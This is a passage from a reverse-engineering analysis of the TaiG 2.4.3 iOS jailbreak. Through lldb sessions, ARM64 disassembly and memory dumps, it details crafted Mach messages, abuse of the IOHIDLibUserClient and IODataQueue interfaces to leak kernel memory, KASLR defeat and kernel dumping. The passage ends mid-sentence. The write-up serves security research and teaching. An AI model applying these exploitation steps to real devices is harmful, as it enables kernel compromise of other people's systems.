* thread #1: tid = 0x8366, 0x00000001000b672c taig.2.4.3`___lldb_unnamed_function123$$taig.2.4.3 + 864, queue = 'com.apple.main-thread', stop reason = breakpoint 11.1 frame #0: 0x00000001000b672c taig.2.4.3`___lldb_unnamed_function123$$taig.2.4.3 + 864 taig.2.4.3`___lldb_unnamed_function123$$taig.2.4.3 + 864: -> 0x1000b672c: movz x21, #0 0x1000b6730: orr w8, wzr, #0x1 0x1000b6734: adr x24, #59468 ; @"%p %p %p %p" 0x1000b6738: nop (lldb) mem read "$sp + 0xf0" 0x16fd50cf0: 0e 04 9c 44 92 cc e8 b3 0e 05 9c 44 92 cc e8 b3 ...D.......D.... 0x16fd50d00: 0e 06 9c 44 92 cc e8 b3 0e 07 9c 44 92 cc e8 b3 ...D.......D.... 0x16fd50d10: 0e 08 9c 44 92 cc e8 b3 0e 09 9c 44 92 cc e8 b3 ...D.......D.... 0x16fd50d20: 0e 0a 9c 44 92 cc e8 b3 0e 0b 9c 44 92 cc e8 b3 ...D.......D.... 0x16fd50d30: 0e 0c 9c 44 92 cc e8 b3 0e 0d 9c 44 92 cc e8 b3 ...D.......D.... 0x16fd50d40: 0e 2e 9b 44 92 cc e8 b3 0e 2f 9b 44 92 cc e8 b3 ...D...../.D.... 0x16fd50d50: 0e 30 9b 44 92 cc e8 b3 0e 31 9b 44 92 cc e8 b3 .0.D.....1.D.... 0x16fd50d60: 0e 32 9b 44 92 cc e8 b3 0e 33 9b 44 92 cc e8 b3 .2.D.....3.D.... ..

We next iterate over these values, looking at every pair, and looking for allocations which are not exactly 256 (0x100) apart. These get logged via NSLog to stdout (e.g. taig.2.4.3[335:33638] s 10" ). When we find the 1023rd of these (w21=0x3ff) we log that too (e.g. taig.2.4.3[335:33638] 0xb3e8cc92449c040e 0xb3e8cc92449c050e 0xb3e8cc92449c060e 0xb3e8cc92449c070e ) and iterate over 256 more pairs. We save the last pair on the stack like so: (lldb) mem read "$x27 + $x21 - 0x20" # from sp_0020xx 0x16fd52cd0: 0e f0 e3 43 92 cc e8 b3 0e f1 e3 43 92 cc e8 b3 ...C.......C.... 0x16fd52ce0: 0e f2 e3 43 92 cc e8 b3 0e f3 e3 43 92 cc e8 b3 ...C.......C.... (lldb) mem read $sp 0x16fd50c00: 0e f0 e3 43 92 cc e8 b3 0e f1 e3 43 92 cc e8 b3 ...C.......C.... 0x16fd50c10: 0e f2 e3 43 92 cc e8 b3 0e f3 e3 43 92 cc e8 b3 ...C.......C.... (lldb)

Fun with Mach Messages

Now it's time for some hand crafted Mach messages. Set a breakpoint at 0x1000e800:

(lldb) b 0x1000b6800 Breakpoint 17: where = taig.2.4.3`___lldb_unnamed_function123$$taig.2.4.3 + 1076, address = 0x00000001000b6800 (lldb) c Process 335 resuming Process 335 stopped * thread #1: tid = 0x8366, 0x00000001000b6800 taig.2.4.3`___lldb_unnamed_function123$$taig.2.4.3 + 1076, queue = 'com.apple.main-thread', stop reason = breakpoint 17.1 frame #0: 0x00000001000b6800 taig.2.4.3`___lldb_unnamed_function123$$taig.2.4.3 + 1076 taig.2.4.3`___lldb_unnamed_function123$$taig.2.4.3 + 1076: -> 0x1000b6800: bl 0x1000b6b9c ; ___lldb_unnamed_function124$$taig.2.4.3 0x1000b6804: cmp w0, #0 0x1000b6808: b.lt 0x1000b68b0 ; ___lldb_unnamed_function123$$taig.2.4.3 + 1252 0x1000b680c: ldr w8, [sp, #128] (lldb) reg read x0 x1 x2 x3 x4 x0 = 0x000000016fd57970 # That's our argument x1 = 0x000000016fd550c8 # sp_44c8 - into ports array x2 = 0x0000000000000003 # 3! x3 = 0x000000016fd50c80 # sp_0080 x4 = 0x000000016fd53ce8 # sp_30e8

The function takes its arguments, and crafts a mach message which will be sent using function #47. Setting a breakpoint right before the call (10000ec8c), we'd get:

* thread #1: tid = 0x8366, 0x00000001000b6c8c taig.2.4.3`___lldb_unnamed_function124$$taig.2.4.3 + 240, queue = 'com.apple.main-thread', stop reason = breakpoint 19.1 frame #0: 0x00000001000b6c8c taig.2.4.3`___lldb_unnamed_function124$$taig.2.4.3 + 240 taig.2.4.3`___lldb_unnamed_function124$$taig.2.4.3 + 240: -> 0x1000b6c8c: bl 0x1000b1914 ; ___lldb_unnamed_function47$$taig.2.4.3 0x1000b6c90: cbnz w0, 0x1000b6d08 ; ___lldb_unnamed_function124$$taig.2.4.3 + 364 0x1000b6c94: ldr w1, [x23] 0x1000b6c98: add x2, sp, #1048 (lldb) reg read x0 x1 x2 x3 x0 = 0x00000000000a7203 # A port x1 = 0x000000016fd50798 # memset to 0xcc back in 0x24 x2 = 0x00000000000000a8 x3 = 0x0000000000000004 (lldb) b mach_msg .. x0 = 0x000000016fd4fe20 # mach_msg_header_t *msg, x1 = 0x0000000000000001 # mach_msg_option_t option x2 = 0x000000000000005c # mach_msg_size_t send_size x3 = 0x0000000000000000 # mach_msg_size_t rcv_size x4 = 0x0000000000000000 # mach_port_name_t rcv_name x5 = 0x0000000000000000 # mach_msg_timeout_t timeout x6 = 0x0000000000000000 # mach_port_name_t notify (lldb) mem read 16fd4fe20 0x16fd4fe20: 14 00 00 80 5c 00 00 00 03 72 0a 00 00 00 00 00 ....\....r...... 0x16fd4fe30: 00 00 00 00 00 00 00 00 04 00 00 00 98 07 d5 6f ...............o 0x16fd4fe40: 01 00 00 00 00 00 00 01 a8 00 00 00 98 07 d5 6f ...............o 0x16fd4fe50: 01 00 00 00 00 00 00 01 a8 00 00 00 98 07 d5 6f ...............o 0x16fd4fe60: 01 00 00 00 00 00 00 01 a8 00 00 00 98 07 d5 6f ...............o 0x16fd4fe70: 01 00 00 00 00 00 00 01 a8 00 00 00 00 00 00 00 ................

So we send only (as evidenced by option 0x01, MACH_SEND_MSG and the null name size for receive), the fine buffer shown above, to port 0xa7203, with an array of four pointer values (to 0x016fd50798, which is memset to 0xcc), of 0xa8 bytes. We then call 0x010000e200 with the arguments of:

(lldb) reg read x0 x1 x2 x3 x4 x0 = 0x000000016fd57970 # That user arg x1 = 0x0000000000097503 # A port x2 = 0x000000016fd50398 # Another 0xcc memset buffer x3 = 0x0000000000000118 x4 = 0x0000000000000000 # Reminder - that's what's in the user buffer (lldb) mem read $x0 friend b0b IOConnected Mem 0x16fd57970: 0b 0b 00 00 03 0f 00 00 00 80 44 00 01 00 00 00 ..........D..... 0x16fd57980: 30 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0@.............. 0x16fd57990: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x16fd579a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x16fd579b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x16fd579c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x16fd579d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x16fd579e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

If fun with mach_msgs had no fun, we re-launch our assault on IOKit. Otherwise, we use IODataQueue .

IODataQueues

Apple defines the IODataQueue as a method to communicate with the IOKit drivers. Basically, you have this queue which you can use IODataQueuePeek to poll , and IODataQueueDequeue to read from. Function 121 peeks at the queue, makes sure that the queue is empty (IODataQueuePeek returns 0), spawns a thread. The thread function is _more_IOHID_fun.

_mess_with_IODataQueue(121): 10000e200 a9bb67fa STP X26, X25, [SP,#-80]! 10000e204 a9015ff8 STP X24, X23, [SP,#16] 10000e208 a90257f6 STP X22, X21, [SP,#32] 10000e20c a9034ff4 STP X20, X19, [SP,#48] 10000e210 a9047bfd STP X29, X30, [SP,#64] 10000e214 910103fd ADD X29, SP, #64 10000e218 d10143ff SUB X31, X31, #80 10000e21c aa0303f5 *MOV X21, X3 10000e220 aa0203f3 *MOV X19, X2 10000e224 aa0003f4 *MOV X20, X0 10000e228 d503201f NOP 10000e22c 5806f038 LDR X24, #14209 libSystem.B.dylib::___stack_chk_guard 10000e230 f9400308 LDR X8, [X24, #0] 10000e234 f90027e8 STR X8, [SP, #72] ; ? 10000e238 f9001bff STR XZR, [SP, #48] ; ? 10000e23c f90013f4 STR X20, [SP, #32] ; ? 10000e240 b9002be1 STR W1, [SP, #40] ; ? 10000e244 b9001fff STR WZR, [SP, #28] ; ? 10000e248 a903ffff STP XZR, XZR, [SP,#56] 10000e24c f9400680 LDR X0, [X20, #8] => 0x7c8 10000e250 94002ac4 BL IOKit::_IODataQueuePeek ; 0x100018d60 10000e254 b4000140 CBZ X0, IODataQueue_is_empty ; 0x10000e27c 10000e258 910073f6 ADD X22, SP, #28 10000e25c b9001fff STR WZR, [SP, #28] ; ? 10000e260 f9400680 LDR X0, [X20, #8] => 0x7c8 10000e264 d2800001 MOVZ X1, #0 10000e268 aa1603e2 *MOV X2, X22 10000e26c 94002aba BL IOKit::_IODataQueueDequeue ; 0x100018d54 10000e270 f9400680 LDR X0, [X20, #8] => 0x7c8 10000e274 94002abb BL IOKit::_IODataQueuePeek ; 0x100018d60 10000e278 b5ffff20 CBNZ X0, 0x10000e25c ; 0x10000e25c IODataQueue_is_empty: 10000e27c d2800001 MOVZ X1, #0 10000e280 100063e2 ADR x2, 3196 ; _more_IOHID_fun 10000e284 d503201f NOP 10000e288 9100c3e0 ADD X0, SP, #48 10000e28c 910083e3 ADD X3, SP, #32 10000e290 94002bc2 BL libSystem.B.dylib::_pthread_create ; 0x100019198 10000e294 35000520 CBNZ X0, fail ; 0x10000e338 10000e298 52800019 MOVZ W25, #0 10000e29c 93407eb5 ASR X21, X21, #0 10000e2a0 9100e3f6 ADD X22, SP, #56 10000e2a4 910073f7 ADD X23, SP, #28 try_up_to_ten_times: 10000e2a8 5280001a MOVZ W26, #0 sleep_a_little: 10000e2ac 5280fa00 MOVZ W0, #2000 10000e2b0 94002c1d BL libSystem.B.dylib::_usleep ; 0x100019324 ; libSystem.B.dylib::_usleep(2000); ; 10000e2b4 f9400680 LDR X0, [X20, #8] => 0x7c8 10000e2b8 94002aaa BL IOKit::_IODataQueuePeek ; 0x100018d60 10000e2bc b50000a0 CBNZ X0, got_output ; 0x10000e2d0 10000e2c0 1100075a ADD W26, W26, #1 0x1 10000e2c4 7100275f CMP W26, #9 10000e2c8 54ffff2d B.LE sleep_a_little ; 0x10000e2ac 10000e2cc 1400001b B fail ; 0x10000e338 got_output: 10000e2d0 f9001fff STR XZR, [SP, #56] ; ? 10000e2d4 f8414008 LDUR X8, X0, #20 ; ? 10000e2d8 f90023e8 STR X8, [SP, #64] ; ? 10000e2dc b9400280 LDR W0, [X20, #0] 10000e2e0 a9007fff STP XZR, XZR, [SP,#0] 10000e2e4 320007e1 ORR W1, WZR, #0x3 10000e2e8 321f03e3 ORR W3, WZR, #0x2 10000e2ec aa1603e2 *MOV X2, X22 10000e2f0 aa1303e4 *MOV X4, X19 10000e2f4 aa1503e5 *MOV X5, X21 10000e2f8 d2800006 MOVZ X6, #0 10000e2fc d2800007 MOVZ X7, #0 10000e300 94002a7a BL IOKit::_IOConnectCallMethod ; 0x100018ce8 ; R0 = IOKit::_IOConnectCallMethod((mach port),3,0x100000cfeedfb07,2,0xffffffffffffffff,92,NULL,NULL,1061109567,? - 209494); ; 10000e304 350001a0 CBNZ X0, fail ; 0x10000e338 10000e308 b9001fff STR WZR, [SP, #28] ; ? 10000e30c f9400680 LDR X0, [X20, #8] => 0x7c8 10000e310 d2800001 MOVZ X1, #0 10000e314 aa1703e2 *MOV X2, X23 10000e318 94002a8f BL IOKit::_IODataQueueDequeue ; 0x100018d54 10000e31c 71002b5f CMP W26, #10 10000e320 540000ca B.GE fail ; 0x10000e338 10000e324 11000739 ADD W25, W25, #1 0x1 10000e328 7100073f CMP W25, #1 10000e32c 54fffbed B.LE try_up_to_ten_times ; 0x10000e2a8 success!: 10000e330 52800013 MOVZ W19, #0 10000e334 14000002 B head_for_exit ; 0x10000e33c ; head_for_exit(72057649854544591); ; fail: 10000e338 12800013 MOVN X19, #0 head_for_exit: 10000e33c f9401be0 LDR X0, [X31, #48] ? 10000e340 b4000040 CBZ X0, 0x10000e348 ; 0x10000e348 10000e344 94002b98 BL libSystem.B.dylib::_pthread_detach ; 0x1000191a4 10000e348 b9402be0 LDR W0, [X31, #40] ? 10000e34c 34000060 CBZ X0, 0x10000e358 ; 0x10000e358 10000e350 94002aa8 BL IOKit::_IOServiceClose ; 0x100018df0 10000e354 b9002bff STR WZR, [SP, #40] ; ? 10000e358 f9400308 LDR X8, [X24, #0] 10000e35c f94027e9 LDR X9, [X31, #72] ? 10000e360 cb090108 SUB X8, X8, X9 10000e364 b5000128 CBNZ X8, 0x10000e388 ; 0x10000e388 10000e368 aa1303e0 *MOV X0, X19 10000e36c d10103bf SUB X31, X29, #64 10000e370 a9447bfd LDP X29, X30, [SP,#64] 10000e374 a9434ff4 LDP X20, X19, [SP,#48] 10000e378 a94257f6 LDP X22, X21, [SP,#32] 10000e37c a9415ff8 LDP X24, X23, [SP,#16] 10000e380 a8c567fa LDP X26, X25, [SP],#80 10000e384 d65f03c0 RET 10000e388 94002ad9 BL libSystem.B.dylib::___stack_chk_fail ; 0x100018eec

The thread function, _more_IO_Fun, looks like this:

10000eefc a9bc5ff8 STP X24, X23, [SP,#-64]! 10000ef00 a90157f6 STP X22, X21, [SP,#16] 10000ef04 a9024ff4 STP X20, X19, [SP,#32] 10000ef08 a9037bfd STP X29, X30, [SP,#48] 10000ef0c 9100c3fd ADD X29, SP, #48 10000ef10 d11043ff SUB X31, X31, #1040 10000ef14 aa0003f3 *MOV X19, X0 10000ef18 d503201f NOP 10000ef1c 580688b5 LDR X21, #13381 libSystem.B.dylib::___stack_chk_guard 10000ef20 f94002a8 LDR X8, [X21, #0] 10000ef24 f81c83a8 STUR X8, X29, #-56 10000ef28 f9400276 LDR X22, [X19, #0] 10000ef2c 910103f4 ADD X20, SP, #64 10000ef30 b27a0ff7 ORR X23, XZR, #0x3c0 10000ef34 b27a0fe1 ORR X1, XZR, #0x3c0 10000ef38 aa1403e0 *MOV X0, X20 10000ef3c 940027f8 BL libSystem.B.dylib::_bzero ; 0x100018f1c 10000ef40 f90017f7 STR X23, [SP, #40] ; ? 10000ef44 b90027ff STR WZR, [SP, #36] ; ? 10000ef48 f9000fff STR XZR, [SP, #24] ; ? 10000ef4c a9037fff STP XZR, XZR, [SP,#48] 10000ef50 b94006c0 LDR W0, [X22, #4] ? 10000ef54 9100a3e8 ADD X8, SP, #40 10000ef58 910063e2 ADD X2, SP, #24 10000ef5c 910093e7 ADD X7, SP, #36 10000ef60 32000fe1 ORR W1, WZR, #0xf 10000ef64 320003e3 ORR W3, WZR, #0x1 10000ef68 a90023f4 STP X20, X8, [SP,#0] 10000ef6c d2800004 MOVZ X4, #0 10000ef70 d2800005 MOVZ X5, #0 10000ef74 d2800006 MOVZ X6, #0 10000ef78 9400275c BL IOKit::_IOConnectCallMethod ; 0x100018ce8 ; R0 = IOKit::_IOConnectCallMethod((mach port),15,0x100000cfeedfae7,1,NULL,0,NULL,0x100000cfeedfaf3,72057649854544631,? - 209494); ; 10000ef7c 35000600 CBNZ X0, 0x10000f03c ; 0x10000f03c 10000ef80 f94017e9 LDR X9, [X31, #40] ? 10000ef84 f101813f CMP X9, #96 10000ef88 540002a3 B.CC 0x10000efdc ; 0x10000efdc 10000ef8c d2800008 MOVZ X8, #0 10000ef90 b201f3ea ORR X10, XZR, #0xaaaaaaaa 10000ef94 f295556a MOVK X10, #43691 0xaaab5555 10000ef98 9bca7d29 2DO 10000ef9c d346fd29 LSL X9, X9, #63 10000efa0 9101028a ADD X10, X20, #64 0x100000cfeedfb4f 10000efa4 b940014b LDR W11, [X10, #0] 10000efa8 7100097f CMP W11, #2 10000efac 54000081 B.NE 0x10000efbc ; 0x10000efbc 10000efb0 b85c014b LDUR X11, X10, #-64 10000efb4 f9001feb STR X11, [SP, #56] ; ? 10000efb8 14000005 B 0x10000efcc ; 0x10000efcc 10000efbc 7100057f CMP W11, #1 10000efc0 54000061 B.NE 0x10000efcc ; 0x10000efcc 10000efc4 b85c014b LDUR X11, X10, #-64 10000efc8 f9001beb STR X11, [SP, #48] ; ? 10000efcc 91000508 ADD X8, X8, #1 0x1 10000efd0 9101814a ADD X10, X10, #96 0x100000cfeedfbaf 10000efd4 eb09011f CMP X8, X9 10000efd8 54fffe63 B.CC 0x10000efa4 ; 0x10000efa4 10000efdc b9400a68 LDR W8, [X19, #8] => 0x100000cfeedfacf 10000efe0 34000208 CBZ X8, 0x10000f020 ; 0x10000f020 10000efe4 97fffb32 BL _returns_global+0x180 ("IOPMrootDomain") ; 0x10000dcac 10000efe8 97ffe66d BL _opens_IOService ; 0x10000899c 10000efec b81c03a0 STUR X0, X29, #-64 10000eff0 b9400a68 LDR W8, [X19, #8] => 0x100000cfeedfacf 10000eff4 b81c43a8 STUR X8, X29, #-60 10000eff8 b24003f4 ORR X20, XZR, #0x1 10000effc d10103b7 SUB X23, X29, #64 10000f000 14000002 B 0x10000f008 ; 0x10000f008 10000f004 d1000694 SUB X20, X20, #1 10000f008 b8747ae0 LDR W0, [X23, X20 ...] 10000f00c 94002779 BL IOKit::_IOServiceClose ; 0x100018df0 10000f010 b8347aff STR X31, [X23, xX20] .. 10000f014 7100069f CMP W20, #1 10000f018 54ffff6a B.GE 0x10000f004 ; 0x10000f004 10000f01c b9000a7f STR WZR, [X19, #8] 10000f020 b94006c0 LDR W0, [X22, #4] ? 10000f024 9100c3e2 ADD X2, SP, #48 10000f028 910093e5 ADD X5, SP, #36 10000f02c 52800141 MOVZ W1, #10 10000f030 321f03e3 ORR W3, WZR, #0x2 10000f034 d2800004 MOVZ X4, #0 10000f038 9400272f BL IOKit::_IOConnectCallScalarMethod ; 0x100018cf4 ; R0 = IOKit::_IOConnectCallScalarMethod((mach port),10,0x100000cfeedfaff,2,NULL,0x100000cfeedfaf3); ; 10000f03c f94002a8 LDR X8, [X21, #0] 10000f040 f85c83a9 LDUR X9, X29, #-56 10000f044 cb090108 SUB X8, X8, X9 10000f048 b50000e8 CBNZ X8, 0x10000f064 ; 0x10000f064 10000f04c d100c3bf SUB X31, X29, #48 10000f050 a9437bfd LDP X29, X30, [SP,#48] 10000f054 a9424ff4 LDP X20, X19, [SP,#32] 10000f058 a94157f6 LDP X22, X21, [SP,#16] 10000f05c a8c45ff8 LDP X24, X23, [SP],#64 10000f060 d65f03c0 RET 10000f064 940027a2 BL libSystem.B.dylib::___stack_chk_fail ; 0x100018eec

The function calls two methods of IOHIDLibUserClient - #15 and #10. Looking at the source, we find these are:

enum IOHIDLibUserClientCommandCodes { kIOHIDLibUserClientDeviceIsValid, kIOHIDLibUserClientOpen, kIOHIDLibUserClientClose, kIOHIDLibUserClientCreateQueue, kIOHIDLibUserClientDisposeQueue, kIOHIDLibUserClientAddElementToQueue, kIOHIDLibUserClientRemoveElementFromQueue, kIOHIDLibUserClientQueueHasElement, kIOHIDLibUserClientStartQueue, kIOHIDLibUserClientStopQueue, kIOHIDLibUserClientUpdateElementValues, /* 10 */ kIOHIDLibUserClientPostElementValues, kIOHIDLibUserClientGetReport, kIOHIDLibUserClientSetReport, kIOHIDLibUserClientGetElementCount, kIOHIDLibUserClientGetElements, /* 15 */ kIOHIDLibUserClientSetQueueAsyncPort, kIOHIDLibUserClientNumCommands };

So, we have calls to GetElements followed by calls to UpdateElementValues - and we can mess with the elements in any way we see fit - We crafted the report descriptor, and we control the elements. From there, the road is short to arbitrary kernel memory disclosure*. We try the attack up to 10 times, and allow 9 x 2 seconds in each. We also call method #3 of the IOHIDUserClient (PostReportResult) in between. In practice, this succeeds on the first or second try. When it does, we can return to the exploit main (#123) and receive a mach message from the port using #46, which is the counterpart of #47 - where the latter was send only, this is receive only.

when 46 returns its buffer holds: (lldb) mem read 0x16fd83f98 0x16fd83f98: 00 11 00 80 5c 00 00 00 00 00 00 00 03 72 0a 00 ....\........r.. 0x16fd83fa8: 00 00 00 00 00 00 00 00 04 00 00 00 00 00 35 00 ..............5. 0x16fd83fb8: 01 00 00 00 00 00 00 01 a8 00 00 00 00 c0 34 00 ..............4. 0x16fd83fc8: 01 00 00 00 00 00 00 01 a8 00 00 00 00 80 34 00 ..............4. 0x16fd83fd8: 01 00 00 00 00 00 00 01 a8 00 00 00 00 40 34 00 .............@4. 0x16fd83fe8: 01 00 00 00 00 00 00 01 a8 00 00 00 00 00 00 00 ................ 0x16fd83ff8: 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x16fd84008: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

Then the call to memcpy obtains kernel memory:

(lldb) mem read $x1 0x1003c41a8: 70 eb ea 0b 80 ff ff ff 02 00 02 00 00 00 00 00 p............... 0x1003c41b8: 60 8a 2e 90 80 ff ff ff 00 18 2f 90 80 ff ff ff `........./..... 0x1003c41c8: 80 18 2f 90 80 ff ff ff c0 d9 2e 90 80 ff ff ff ../............. 0x1003c41d8: 00 20 58 8d 80 ff ff ff a1 50 00 00 00 00 00 00 . X......P...... 0x1003c41e8: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x1003c41f8: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x1003c4208: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x1003c4218: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x1003c4228: 00 00 00 00 00 00 00 00 50 8a 2e 90 80 ff ff ff ........P....... 0x1003c4238: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x1003c4248: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x1003c4258: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x1003c4268: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x1003c4278: 00 00 00 00 00 00 00 00 00 20 58 8d 80 ff ff ff ......... X..... 0x1003c4288: a0 98 2f 8e 80 ff ff ff c0 ce 05 8e 80 ff ff ff ../............. 0x1003c4298: 00 ab 05 8e 80 ff ff ff ef be ad de ef be ad de ................ 0x1003c42a8: 70 eb ea 0b 80 ff ff ff 02 00 02 00 00 00 00 00 p............... 0x1003c42b8: 90 8a 2e 90 80 ff ff ff 80 19 2f 90 80 ff ff ff ........../..... 0x1003c42c8: 00 1a 2f 90 80 ff ff ff 40 da 2e 90 80 ff ff ff ../.....@....... 0x1003c42d8: 00 20 58 8d 80 ff ff ff 9f 50 00 00 00 00 00 00 . X......P...... 0x1003c42e8: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x1003c42f8: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x1003c4308: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x1003c4318: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x1003c4328: 00 00 00 00 00 00 00 00 80 8a 2e 90 80 ff ff ff ................ 0x1003c4338: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x1003c4348: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x1003c4358: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x1003c4368: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x1003c4378: 00 00 00 00 00 00 00 00 00 20 58 8d 80 ff ff ff ......... X..... 0x1003c4388: a0 98 2f 8e 80 ff ff ff 80 36 07 8e 80 ff ff ff ../......6...... 0x1003c4398: 00 9b 09 8e 80 ff ff ff ef be ad de ef be ad de ................ 0x1003c43a8: 70 eb ea 0b 80 ff ff ff 02 00 02 00 00 00 00 00 p............... 0x1003c43b8: c0 8a 2e 90 80 ff ff ff 00 1b 2f 90 80 ff ff ff ........../..... 0x1003c43c8: 80 1b 2f 90 80 ff ff ff c0 da 2e 90 80 ff ff ff ../............. 0x1003c43d8: 00 20 58 8d 80 ff ff ff 9d 50 00 00 00 00 00 00 . X......P...... 0x1003c43e8: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x1003c43f8: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x1003c4408: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x1003c4418: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x1003c4428: 00 00 00 00 00 00 00 00 b0 8a 2e 90 80 ff ff ff ................ 0x1003c4438: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x1003c4448: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x1003c4458: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x1003c4468: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x1003c4478: 00 00 00 00 00 00 00 00 00 20 58 8d 80 ff ff ff ......... X..... 0x1003c4488: a0 98 2f 8e 80 ff ff ff 00 ce 27 8e 80 ff ff ff ../.......'..... 0x1003c4498: 00 db 26 8e 80 ff ff ff ef be ad de ef be ad de ..&............. 0x1003c44a8: 70 eb ea 0b 80 ff ff ff 02 00 02 00 00 00 00 00 p............... 0x1003c44b8: f0 8a 2e 90 80 ff ff ff 80 1c 2f 90 80 ff ff ff ........../..... 0x1003c44c8: 00 1d 2f 90 80 ff ff ff 40 db 2e 90 80 ff ff ff ../.....@....... 0x1003c44d8: 00 20 58 8d 80 ff ff ff 9b 50 00 00 00 00 00 00 . X......P...... 0x1003c44e8: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x1003c44f8: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x1003c4508: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x1003c4518: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x1003c4528: 00 00 00 00 00 00 00 00 e0 8a 2e 90 80 ff ff ff ................ 0x1003c4538: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

Notice the nice structure, with the chunks (ef be ad de ef be ad de) exactly 0x100 apart. But we don't need all this memory - The first value (in our case - 0xffffff800beaeb70 is sufficient to figure out KASLR by using Function 141, as explained previously. If you do the math in this case, you'll see the kernel has been slid to 0xffffff800ba02000

Do It Yourself! Your Own ARM64 kernel dump!

After we've defeated ASLR, we can focus our attention on getting kernel memory, using function #122. If your device restarted by now and/or you want to pick up exactly at this point, setting a breakpoint on 122, to get:

(lldb) bt * thread #1: tid = 0x0996, 0x000000010006e38c taig.2.4.3`___lldb_unnamed_function122$$taig.2.4.3, queue = 'com.apple.main-thread', stop reason = breakpoint 8.1 * frame #0: 0x000000010006e38c taig.2.4.3`___lldb_unnamed_function122$$taig.2.4.3 frame #1: 0x000000010006cbfc taig.2.4.3`___lldb_unnamed_function88$$taig.2.4.3 + 80 frame #2: 0x000000010006e958 taig.2.4.3`___lldb_unnamed_function123$$taig.2.4.3 + 1420 frame #3: 0x000000010006bd74 taig.2.4.3`___lldb_unnamed_function80$$taig.2.4.3 + 336 frame #4: 0x0000000194566a08 libdyld.dylib`start + 4

in other words, 80 (entry point) calls exploit (123) which calls _mess_with_kernel_mem(88) which calls 122. 88 does this for a reason:

_mess_with_kernel_mem(88): 10000cbac a9bd57f6 STP X22, X21, [SP,#-48]! 10000cbb0 a9014ff4 STP X20, X19, [SP,#16] 10000cbb4 a9027bfd STP X29, X30, [SP,#32] 10000cbb8 910083fd ADD X29, SP, #32 10000cbbc aa0003f3 *MOV X19, X0 10000cbc0 f9402268 LDR X8, [X19, #64] ? 10000cbc4 b50002a8 CBNZ X8, 0x10000cc18 ; 0x10000cc18 10000cbc8 94000b8f BL _get_kernel_last ; 0x10000fa04 10000cbcc aa0003f4 *MOV X20, X0 10000cbd0 94000b85 BL _get_kernel_base ; 0x10000f9e4 10000cbd4 cb000294 SUB X20, X20, X0 10000cbd8 aa1403e0 *MOV X0, X20 10000cbdc 94003142 BL libSystem.B.dylib::_malloc ; 0x1000190e4 10000cbe0 aa0003f5 *MOV X21, X0 10000cbe4 94000b80 BL _get_kernel_base ; 0x10000f9e4 fetch_kernel_memory: 10000cbe8 aa0003e2 *MOV X2, X0 10000cbec aa1303e0 *MOV X0, X19 10000cbf0 aa1503e1 *MOV X1, X21 10000cbf4 aa1403e3 *MOV X3, X20 10000cbf8 940005e5 BL _calls_gets_kernel_memory(122) ; 0x10000e38c 10000cbfc 7100001f CMP W0, #0 10000cc00 5400016b B.LT 0x10000cc2c ; 0x10000cc2c 10000cc04 a9045275 STP X21, X20, [X19,#64] 10000cc08 91028260 ADD X0, X19, #160 0xa0 10000cc0c aa1503e1 *MOV X1, X21 10000cc10 aa1403e2 *MOV X2, X20 10000cc14 97fffdb1 BL _calls_kernel_patchers(83) ; 0x10000c2d8 10000cc18 52800000 MOVZ W0, #0 out: 10000cc1c a9427bfd LDP X29, X30, [SP,#32] 10000cc20 a9414ff4 LDP X20, X19, [SP,#16] 10000cc24 a8c357f6 LDP X22, X21, [SP],#48 10000cc28 d65f03c0 RET 10000cc2c b4000075 CBZ X21, 0x10000cc38 ; 0x10000cc38 10000cc30 aa1503e0 *MOV X0, X21 10000cc34 940030e1 BL libSystem.B.dylib::_free ; 0x100018fb8 10000cc38 12800000 MOVN X0, #0 10000cc3c 17fffff8 B out ; 0x10000cc1c

That is, it gets the kernel memory with the intent of running patches on it.

To get memory, #122 calls #120, which actually works very similarly to #124 (implying a cut/paste, perhaps?), with the only real difference being a call to IOConnectTrap1 which doesn't get invoked normally. The actual point the memory is obtained is at 10000e1e8 , and here's a cool trick you can do:

